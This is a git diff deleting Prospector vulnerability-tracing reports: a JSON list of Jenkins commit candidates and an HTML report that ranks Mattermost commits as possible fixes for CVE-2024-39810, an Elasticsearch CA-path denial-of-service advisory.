"jenkins-2.426.2-rc-1", - "jenkins-2.426.3", - "jenkins-2.426.3-rc" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8666", - "relevance": 2 - } - ] - }, - { - "commit_id": "aad79effa12865395403badd58cef8a56e4860c7", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1700864217, - "hunks": 77, - "message": "[JENKINS-72009, JENKINS-72200, JENKINS-24947] various fixes and improvements around disk space monitoring (#8593)", - "changed_files": [ - "core/src/main/java/hudson/Functions.java", - "core/src/main/java/hudson/model/Computer.java", - "core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java", - "core/src/main/java/hudson/node_monitors/AbstractDiskSpaceMonitor.java", - "core/src/main/java/hudson/node_monitors/DiskSpaceMonitor.java", - "core/src/main/java/hudson/node_monitors/DiskSpaceMonitorDescriptor.java", - "core/src/main/java/hudson/node_monitors/DiskSpaceMonitorNodeProperty.java", - "core/src/main/java/hudson/node_monitors/TemporarySpaceMonitor.java", - "core/src/main/resources/hudson/model/ComputerSet/configure.jelly", - "core/src/main/resources/hudson/model/ComputerSet/index.jelly", - "core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config.jelly", - "core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/help-freeSpaceThreshold.html", - "core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/help-freeSpaceWarningThreshold.html", - "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitor/column.jelly", - "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitor/help.html", - "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/config.jelly", - "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/config_de.properties", - "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeDiskSpaceThreshold.html", - "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeDiskSpaceWarningThreshold.html", - "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeTempSpaceThreshold.html", - "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeTempSpaceWarningThreshold.html", - "core/src/main/resources/hudson/node_monitors/Messages.properties", - "core/src/main/resources/hudson/node_monitors/Messages_bg.properties", - "core/src/main/resources/hudson/node_monitors/Messages_cs.properties", - "core/src/main/resources/hudson/node_monitors/Messages_da.properties", - "core/src/main/resources/hudson/node_monitors/Messages_de.properties", - "core/src/main/resources/hudson/node_monitors/Messages_es.properties", - "core/src/main/resources/hudson/node_monitors/Messages_fr.properties", - "core/src/main/resources/hudson/node_monitors/Messages_it.properties", - "core/src/main/resources/hudson/node_monitors/Messages_ja.properties", - "core/src/main/resources/hudson/node_monitors/Messages_nl.properties", - "core/src/main/resources/hudson/node_monitors/Messages_pt_BR.properties", - "core/src/main/resources/hudson/node_monitors/Messages_ru.properties", - "core/src/main/resources/hudson/node_monitors/Messages_sr.properties", - "core/src/main/resources/hudson/node_monitors/Messages_sv_SE.properties", - "core/src/main/resources/hudson/node_monitors/Messages_zh_TW.properties", - "core/src/main/resources/hudson/node_monitors/TemporarySpaceMonitor/column.jelly", - "core/src/main/resources/hudson/node_monitors/TemporarySpaceMonitor/help.html" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8593": "JENKINS-63607 Do not disconnect agent when remoting doesn't match jenkinsci/versioncolumn-plugin#192 [JENKINS-72284] Take agents offline and online immediately jenkinsci/versioncolumn-plugin#198" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.434", - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8593", - "relevance": 2 - } - ] - }, - { - "commit_id": "34f26ca92a45e3db8b2677d42573f4b16c43a507", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709071877, - "hunks": 2, - "message": "Upgrade `org.apache.commons:commons-compress` from 1.25.0 to 1.26.0 on `stable-2.440`", - "changed_files": [ - "bom/pom.xml", - "core/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [] - }, - { - "commit_id": "8cbb397aa96b9fa3b410e8cfb405b233ac2402a2", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705709447, - "hunks": 2, - "message": "Towards 2.440.1", - "changed_files": [ - ".mvn/maven.config", - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [] - } - ], - "processing_statistics": { - "core": { - "retrieval of commit candidates": { - "execution time": [ - 0.0720368754118681 - ] - }, - "git": { - "git": { - "Git": { - "create_commits": { - "execution time": [ - 0.07178493961691856 - ] - } - } - } - }, - "candidates": 374, - "commit preprocessing": { - "execution time": [ - 0.19533305428922176 - ] - }, - "candidates analysis": { - "execution time": [ - 0.338120823726058 - ] - }, - "save commits to backend": { - "execution time": [ - 0.027100898325443268 - ] - }, - "execution time": [ - 4.142458019778132 - ] - }, - "rules": { - "active": [ - 17 - ], - "matches": [ - 507 - ] - }, - "LLM": { - "repository_url": { - "execution time": [ - 2.521301181986928 - ] - }, - "commit_classification": { - "execution time": [ - 0.01760508306324482, - 0.017088305205106735, - 0.01576736383140087, - 0.015721900388598442, - 0.01567993126809597, - 0.015510763972997665, - 0.015168087556958199, - 0.014862647280097008, - 0.014375794678926468, - 0.014935515820980072 - ] - } - } - } -} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.html b/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.html deleted file mode 100644 index 01cc15a1c..000000000 --- a/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.html +++ /dev/null @@ -1,16695 +0,0 @@ - - - - - - - - - - - - - - - - Prospector Report - - - - -
    -
    -
    - - -

    Filters

    -

    - Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. -

    - -
    -
    - -
    -
    - -
    -
    - - - - -
    -

    Advisory Record

    - CVE-2024-39810
    -

    Mattermost versions 9.5.x <= 9.5.7 and 9.10.x <= 9.10.0 fail to time limit and size limit the CA path file in the ElasticSearch configuration which allows a System Role with access to the Elasticsearch system console to add any file as a CA path field, such as /dev/zero and, after testing the connection, cause the application to crash.

    - - -
    Possible relevant files/methods
    -

    -

      - -
    • ElasticSearch
    • - -
    -

    - - -
    Other relevant keywords
    -

    - -

  • access
  • - - -
  • allow
  • - - -
  • application
  • - - -
  • cause
  • - - -
  • configuration
  • - - -
  • connection
  • - - -
  • console
  • - - -
  • crash
  • - - -
  • elasticsearch
  • - - -
  • fail
  • - - -
  • field
  • - - -
  • file
  • - - -
  • limit
  • - - -
  • path
  • - - -
  • role
  • - - -
  • size
  • - - -
  • system
  • - - -
  • test
  • - - -
  • time
  • - - -
  • version
  • - - -

    - -
    - - - -
    -
    -
    Execution Statistics
    - -
    -
    -
    • core
      • retrieval of commit candidates
        • execution time = 0.0724 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time = 0.07216 seconds
      • candidates = 164 commits
      • commit preprocessing
        • execution time = 0.3034 seconds
      • candidates analysis
        • execution time = 4.637 seconds
      • save commits to backend
        • execution time = 0.03895 seconds
      • execution time = 7.247 seconds
    • rules
      • active = 17 rules
      • matches = 396 matches
    • LLM
      • repository_url
        • execution time = 1.651 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 0.4364792799577117 seconds
          • deviation = 0.6901174096931382 seconds
          • median = 0.01752244494855404 seconds
          • count = 10
          • sum = 4.364792799577117 seconds
    -
    -
    - -
    - -
    -
    -
    -
    -

    Prospector Report

    -
    - - -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-53962: Adding ES8 dependency (#24399) * Adding ES8 dependency... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 54 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 177389d224aadf27e45b84990f75eda707b39779 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: ElasticSearch
      -
    • - -
    • -
      The commit changes some relevant files: webapp/channels/src/components/admin_console/__snapshots__/elasticsearch_settings.test.tsx.snap, webapp/channels/src/components/admin_console/elasticsearch_settings.tsx
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: elasticsearch, console, file, test
      -
    • - -
    • -
      The commit message references some github issue: 24399
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-53962: Adding ES8 dependency (#24399) * Adding ES8 dependency ```release-note NONE ``` Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - e2e-tests/.ci/server.generate.sh - - e2e-tests/playwright/support/server/default_config.ts - - server/build/Dockerfile.opensearch - - server/build/docker-compose-generator/main.go - - server/build/docker-compose.common.yml - - server/build/docker-compose.yml - - server/channels/jobs/jobs.go - - server/cmd/mmctl/commands/enterprise.go - - server/docker-compose.makefile.m1.yml - - server/docker-compose.makefile.yml - - server/docker-compose.yaml - - server/go.mod - - server/go.sum - - server/i18n/en.json - - server/public/model/builtin.go - - server/public/model/config.go - - server/tests/test-config.json - - webapp/channels/src/components/admin_console/__snapshots__/elasticsearch_settings.test.tsx.snap - - webapp/channels/src/components/admin_console/elasticsearch_settings.tsx - - webapp/channels/src/i18n/en.json - - webapp/platform/types/src/config.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58847 Sanitize User (#27471) * add more fields to sanitizeInput... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 46 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - ea6490a5eb764f5c032c2cdc59a3a754a94481f6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some security-related keywords: sanitize
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: field, test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27471
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58847 Sanitize User (#27471) * add more fields to sanitizeInput on User * add test for user sanoitizeInput * add more fields * remove line, lint fix * additional fields and sanitize update * Update user_test.go * remove fields that are unnecessary to check * add check to test --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/v4/source/users.yaml - - server/channels/api4/user_test.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58548 Remove manage_team permissions from System Console... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 44 -
    - -
    -
    -
    - - Tag: v9.10.1 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 075d0664e478d8f8e425d3d6a3962e2ff2af0f7c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: console, system
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: role, test
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27395, 27599
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58548 Remove manage_team permissions from System Console Ancillary permissions (#27395) (#27599) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/channel.go - - server/channels/api4/channel_test.go - - server/channels/api4/group.go - - server/channels/api4/group_test.go - - server/channels/db/migrations/migrations.list - - server/channels/db/migrations/mysql/000124_remove_manage_team_permission.down.sql - - server/channels/db/migrations/mysql/000124_remove_manage_team_permission.up.sql - - server/channels/db/migrations/postgres/000124_remove_manage_team_permission.down.sql - - server/channels/db/migrations/postgres/000124_remove_manage_team_permission.up.sql - - server/public/model/role.go - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-57354: Fix elastic search e2e tests (#27670) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 26 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d71e5e4f4ef05c336e27219c92c2599853f99abe -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: ElasticSearch
      -
    • - -
    • -
      The commit changes some relevant files: e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/helpers/index.js, e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/system_console_spec.js
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: elasticsearch, console, test, system
      -
    • - -
    • -
      The commit message references some github issue: 27670
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-57354: Fix elastic search e2e tests (#27670)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - e2e-tests/cypress/tests/integration/channels/autocomplete/helpers.ts - - e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/crt_settings_spec.js - - e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/global_threads_spec.js - - e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/replies_spec.js - - e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/unread_spec.js - - e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/helpers/index.js - - e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/system_console_spec.js - - e2e-tests/cypress/tests/support/ui/post_dropdown_menu.js - - e2e-tests/cypress/tests/support/ui/sidebar_left.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Added a bunch of debugging logs for Elasticsearch index check... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 18 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b25820b5c56ff7b62ff60d01e085a4fce1ebbc52 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: server/channels/app/elasticsearch.go
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: elasticsearch
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: elasticsearch
      -
    • - -
    • -
      The commit message references some github issue: 27678
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Added a bunch of debugging logs for Elasticsearch index check (#27678) * Added a bunch of debugging logs for Elasticsearch index check * Update server/channels/app/elasticsearch.go --------- Co-authored-by: Harrison Healey <harrisonmhealey@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/elasticsearch.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Replace Hard-coded HTTP Verbs with Constants (#27219) * Replace... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 14 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d44c3d5d45a3f865244178b322dbd0b8576f1316 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: server/channels/api4/elasticsearch.go
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: limit, role, elasticsearch, system, file, test, connection
      -
    • - -
    • -
      The commit message references some github issue: 27219
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Replace Hard-coded HTTP Verbs with Constants (#27219) * Replace hard-coded HTTP verbs with constants in `net/http`
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/bleve.go - - server/channels/api4/bot.go - - server/channels/api4/bot_local.go - - server/channels/api4/brand.go - - server/channels/api4/channel.go - - server/channels/api4/channel_bookmark.go - - server/channels/api4/channel_local.go - - server/channels/api4/cloud.go - - server/channels/api4/cluster.go - - server/channels/api4/command.go - - server/channels/api4/command_local.go - - server/channels/api4/compliance.go - - server/channels/api4/config.go - - server/channels/api4/config_local.go - - server/channels/api4/data_retention.go - - server/channels/api4/drafts.go - - server/channels/api4/elasticsearch.go - - server/channels/api4/emoji.go - - server/channels/api4/export.go - - server/channels/api4/export_local.go - - server/channels/api4/file.go - - server/channels/api4/group.go - - server/channels/api4/group_local.go - - server/channels/api4/hosted_customer.go - - server/channels/api4/image.go - - server/channels/api4/import.go - - server/channels/api4/import_local.go - - server/channels/api4/integration_action.go - - server/channels/api4/ip_filtering.go - - server/channels/api4/job.go - - server/channels/api4/job_local.go - - server/channels/api4/ldap.go - - server/channels/api4/ldap_local.go - - server/channels/api4/license.go - - server/channels/api4/license_local.go - - server/channels/api4/limits.go - - server/channels/api4/metrics.go - - server/channels/api4/oauth.go - - server/channels/api4/outgoing_oauth_connection.go - - server/channels/api4/permission.go - - server/channels/api4/plugin.go - - server/channels/api4/plugin_local.go - - server/channels/api4/post.go - - server/channels/api4/post_local.go - - server/channels/api4/preference.go - - server/channels/api4/reaction.go - - server/channels/api4/remote_cluster.go - - server/channels/api4/report.go - - server/channels/api4/role.go - - server/channels/api4/role_local.go - - server/channels/api4/saml.go - - server/channels/api4/scheme.go - - server/channels/api4/shared_channel.go - - server/channels/api4/status.go - - server/channels/api4/system.go - - server/channels/api4/system_local.go - - server/channels/api4/team.go - - server/channels/api4/team_local.go - - server/channels/api4/terms_of_service.go - - server/channels/api4/upload.go - - server/channels/api4/upload_local.go - - server/channels/api4/usage.go - - server/channels/api4/user.go - - server/channels/api4/user_local.go - - server/channels/api4/webhook.go - - server/channels/api4/webhook_local.go - - server/channels/api4/websocket.go - - server/channels/manualtesting/manual_testing.go - - server/channels/web/oauth.go - - server/channels/web/saml.go - - server/channels/web/static.go - - server/channels/web/webhook.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update Copilot plugin prepackaged version to 0.8.3 (#27645) (#27657)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: v9.10.1 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2e4be7a5fb8782c0235f598caf6e56e1c6c2ec81 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27645, 27657
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update Copilot plugin prepackaged version to 0.8.3 (#27645) (#27657) (cherry picked from commit fa8269e4ab0c9e2986ef3dd505363a3bc5ab8a52) Co-authored-by: Christopher Speller <crspeller@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/Makefile - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58525 Fix upload file permissions (#27298) (#27533) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: v9.5.8 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b9c444c533777e775b27d5c27efaa9ab8d2bc42b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: console, file, test
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27298, 27533
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58525 Fix upload file permissions (#27298) (#27533) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/db/migrations/migrations.list - - server/channels/db/migrations/mysql/000123_remove_upload_file_permission.down.sql - - server/channels/db/migrations/mysql/000123_remove_upload_file_permission.up.sql - - server/channels/db/migrations/postgres/000123_remove_upload_file_permission.down.sql - - server/channels/db/migrations/postgres/000123_remove_upload_file_permission.up.sql - - webapp/channels/src/components/admin_console/permission_schemes_settings/guest_permissions_tree/__snapshots__/guest_permissions_tree.test.tsx.snap - - webapp/channels/src/components/admin_console/permission_schemes_settings/guest_permissions_tree/guest_permissions_tree.tsx - - webapp/channels/src/components/admin_console/permission_schemes_settings/permissions_tree/__snapshots__/permissions_tree.test.tsx.snap - - webapp/channels/src/components/admin_console/permission_schemes_settings/permissions_tree/permissions_tree.tsx - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Sanitize RemoteEmail user prop (#27170) (#27514) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: v9.8.3 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8e5d3961105417401b90d26c5f8c73fecf5df1a4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some security-related keywords: sanitize
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27170, 27514
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Sanitize RemoteEmail user prop (#27170) (#27514) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/platform/services/sharedchannel/service.go - - server/platform/services/sharedchannel/sync_recv.go - - server/platform/services/sharedchannel/util.go - - server/public/model/shared_channel.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-57418] Implement support for defining plugin settings sections... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - be94c47607b156c31cb5906670479a95ab806f0f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: configuration, test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: console, test
      -
    • - -
    • -
      The commit message references some github issue: 27654
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-57418] Implement support for defining plugin settings sections (#27654) * Implement support for defining plugin settings sections * Implement custom plugin configuration sections * Tests * Update test * Improvements
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/public/model/manifest.go - - server/public/model/manifest_test.go - - webapp/channels/src/actions/admin_actions.jsx - - webapp/channels/src/actions/admin_actions.test.js - - webapp/channels/src/components/admin_console/admin_definition.tsx - - webapp/channels/src/components/admin_console/custom_plugin_settings/custom_plugin_settings.test.tsx - - webapp/channels/src/components/admin_console/custom_plugin_settings/index.ts - - webapp/channels/src/components/admin_console/schema_admin_settings.tsx - - webapp/channels/src/components/admin_console/types.ts - - webapp/channels/src/i18n/en.json - - webapp/channels/src/plugins/registry.ts - - webapp/channels/src/reducers/plugins/index.test.ts - - webapp/channels/src/reducers/plugins/index.ts - - webapp/channels/src/selectors/admin_console.jsx - - webapp/channels/src/types/store/plugins.ts - - webapp/channels/src/utils/constants.tsx - - webapp/platform/types/src/plugins.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58756: paginate webhooks list (#27368) * MM-58756: paginate... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9304c404dfe4c5b1465a13aa831e6b413688853f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: fail
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27368
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58756: paginate webhooks list (#27368) * MM-58756: paginate webhooks list * show error if webhook list fails
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/cmd/mmctl/commands/webhook.go - - server/cmd/mmctl/commands/webhook_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58847 Sanitize User (#27471) (#27686) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: v9.5.8 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 43355fe32a953e8b7aa82a9c4cd024311665c098 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some security-related keywords: sanitize
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27471, 27686
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58847 Sanitize User (#27471) (#27686) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/v4/source/users.yaml - - server/channels/api4/user_test.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58847 Sanitize User (#27471) (#27685) Automatic Merge - -
    -
    -
    - -
